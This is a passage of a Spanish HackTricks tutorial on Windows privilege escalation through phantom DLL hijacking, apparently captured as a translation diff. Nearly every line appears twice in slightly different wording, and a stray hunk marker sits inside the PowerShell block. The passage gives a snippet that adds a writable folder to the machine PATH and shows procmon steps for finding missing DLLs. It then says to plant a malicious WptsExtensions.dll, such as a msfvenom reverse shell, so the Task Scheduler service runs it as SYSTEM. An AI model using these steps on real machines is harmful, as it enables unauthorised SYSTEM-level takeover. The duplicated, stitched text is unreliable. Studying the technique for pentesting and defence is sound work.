El problema en estos casos es que probablemente esos procesos ya estén en ejecución. Para encontrar qué Dlls faltan en los servicios que necesitas, debes lanzar procmon lo antes posible (antes de que se carguen los procesos). Entonces, para encontrar las Dlls faltantes, haz lo siguiente:
* **Crea** la carpeta `C:\privesc_hijacking` y agrega la ruta `C:\privesc_hijacking` a la **variable de entorno de Ruta del Sistema**. Puedes hacer esto **manualmente** o con **PS**:
* **Crea** la carpeta `C:\privesc_hijacking` y agrega la ruta `C:\privesc_hijacking` a la **variable de entorno de la Ruta del Sistema**. Puedes hacer esto **manualmente** o con **PS**:
```powershell
# Set the folder path to create and check events for
$folderPath = "C:\privesc_hijacking"
@ -49,55 +49,55 @@ if ($envPath -notlike "*$folderPath*") {
[Environment]::SetEnvironmentVariable("PATH", $newPath, "Machine")
}
```
* Ejecuta **`procmon`** y ve a **`Options`** --> **`Enable boot logging`** y presiona **`OK`** en el mensaje.
* Luego, **reinicia**. Cuando la computadora se reinicie, **`procmon`** comenzará a **grabar** eventos lo antes posible.
* Una vez que **Windows** se haya **iniciado, ejecuta `procmon`** nuevamente, te dirá que ha estado ejecutándose y te **preguntará si deseas almacenar** los eventos en un archivo. Di **sí** y **almacena los eventos en un archivo**.
* **Después** de que se **genere el archivo**, **cierra** la ventana abierta de **`procmon`** y **abre el archivo de eventos**.
* Agrega estos **filtros** y encontrarás todas las Dlls que algún **proceso intentó cargar** desde la carpeta de Ruta del sistema escribible:
* Ejecute **`procmon`** y vaya a **`Options`** --> **`Enable boot logging`** y presione **`OK`** en el mensaje.
* Luego, **reinicie**. Cuando la computadora se reinicie, **`procmon`** comenzará a **grabar** eventos lo antes posible.
* Una vez que **Windows** se **inicie, ejecute `procmon`** nuevamente, le indicará que ha estado en ejecución y le **preguntará si desea almacenar** los eventos en un archivo. Diga **sí** y **almacene los eventos en un archivo**.
* **Después** de que se **genere el archivo**, **cierre** la ventana abierta de **`procmon`** y **abra el archivo de eventos**.
* Agregue estos **filtros** y encontrará todas las Dll que algún **proceso intentó cargar** desde la carpeta de ruta del sistema escribible:
<figure><img src="../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (18) (3).png" alt=""><figcaption></figcaption></figure>
### Dlls perdidas
Al ejecutar esto en una **máquina virtual (vmware) de Windows 11** gratuita, obtuve estos resultados:
Al ejecutar esto en una **máquina virtual (vmware) gratuita de Windows 11** obtuve estos resultados:
<figure><img src="../../../.gitbook/assets/image (253).png" alt=""><figcaption></figcaption></figure>
En este caso, los .exe son inútiles, así que ignóralos, las Dlls perdidas eran de:
En este caso, los .exe son inútiles, así que ignórelos, las Dlls perdidas son de:
| Servicio | Dll | Línea de comando |
| Servicio | Dll | Línea de comandos |
| ------------------------------- | ------------------ | -------------------------------------------------------------------- |
| Programador de tareas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` |
| Servicio de directiva de diagnóstico (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` |
Después de encontrar esto, encontré esta interesante publicación de blog que también explica cómo [**abusar de WptsExtensions.dll para privesc**](https://juggernaut-sec.com/dll-hijacking/#Windows\_10\_Phantom\_DLL\_Hijacking\_-\_WptsExtensionsdll). Que es lo que **haremos ahora**.
Después de encontrar esto, encontré esta interesante publicación de blog que también explica cómo [**abusar de WptsExtensions.dll para la escalada de privilegios**](https://juggernaut-sec.com/dll-hijacking/#Windows\_10\_Phantom\_DLL\_Hijacking\_-\_WptsExtensionsdll). Que es lo que **haremos ahora**.
### Explotación
Entonces, para **escalar privilegios**, vamos a secuestrar la biblioteca **WptsExtensions.dll**. Teniendo la **ruta** y el **nombre**, solo necesitamos **generar la Dll maliciosa**.
Entonces, para **escalar privilegios** vamos a secuestrar la biblioteca **WptsExtensions.dll**. Teniendo la **ruta** y el **nombre** solo necesitamos **generar la Dll maliciosa**.
Puedes [**intentar usar cualquiera de estos ejemplos**](../dll-hijacking.md#creating-and-compiling-dlls). Podrías ejecutar cargas útiles como: obtener una shell inversa, agregar un usuario, ejecutar un beacon...
Puede [**intentar usar cualquiera de estos ejemplos**](../dll-hijacking.md#creating-and-compiling-dlls). Podría ejecutar cargas útiles como: obtener una shell inversa, agregar un usuario, ejecutar un beacon...
{% hint style="warning" %}
Ten en cuenta que **no todos los servicios se ejecutan** con **`NT AUTHORITY\SYSTEM`** algunos también se ejecutan con **`NT AUTHORITY\LOCAL SERVICE`** que tiene **menos privilegios** y no podrás crear un nuevo usuario abusando de sus permisos.\
Sin embargo, ese usuario tiene el privilegio **`seImpersonate`**, por lo que puedes usar la [**suite potato para escalar privilegios**](../roguepotato-and-printspoofer.md). Entonces, en este caso, una shell inversa es una mejor opción que intentar crear un usuario.
Tenga en cuenta que **no todos los servicios se ejecutan** con **`NT AUTHORITY\SYSTEM`** algunos también se ejecutan con **`NT AUTHORITY\LOCAL SERVICE`** que tiene **menos privilegios** y no podrá crear un nuevo usuario abusar de sus permisos.\
Sin embargo, ese usuario tiene el privilegio **`seImpersonate`**, por lo que puede usar la [**suite potato para escalar privilegios**](../roguepotato-and-printspoofer.md). Entonces, en este caso, una shell inversa es una mejor opción que intentar crear un usuario.
{% endhint %}
En el momento de escribir esto, el servicio **Programador de tareas** se ejecuta con **Nt AUTHORITY\SYSTEM**.
Habiendo **generado la Dll maliciosa** (_en mi caso usé una shell inversa x64 y obtuve una shell de vuelta, pero Defender la mató porque era de msfvenom_), guárdala en la Ruta del sistema escribible con el nombre **WptsExtensions.dll** y **reinicia** la computadora (o reinicia el servicio o haz lo que sea necesario para volver a ejecutar el servicio/programa afectado).
Habiendo **generado la Dll maliciosa** (_en mi caso usé una shell inversa x64 y obtuve una shell de vuelta, pero defender la mató porque era de msfvenom_), guárdela en la ruta del sistema escribible con el nombre **WptsExtensions.dll** y **reinicie** la computadora (o reinicie el servicio o haga lo que sea necesario para volver a ejecutar el servicio/programa afectado).
Cuando se reinicie el servicio, la **dll debería cargarse y ejecutarse** (puedes **reutilizar** el truco de **procmon** para verificar si la **biblioteca se cargó como se esperaba**).
Cuando se reinicie el servicio, la **dll debería cargarse y ejecutarse** (puede **reutilizar** el truco de **procmon** para verificar si la **biblioteca se cargó como se esperaba**).
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? o ¿quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>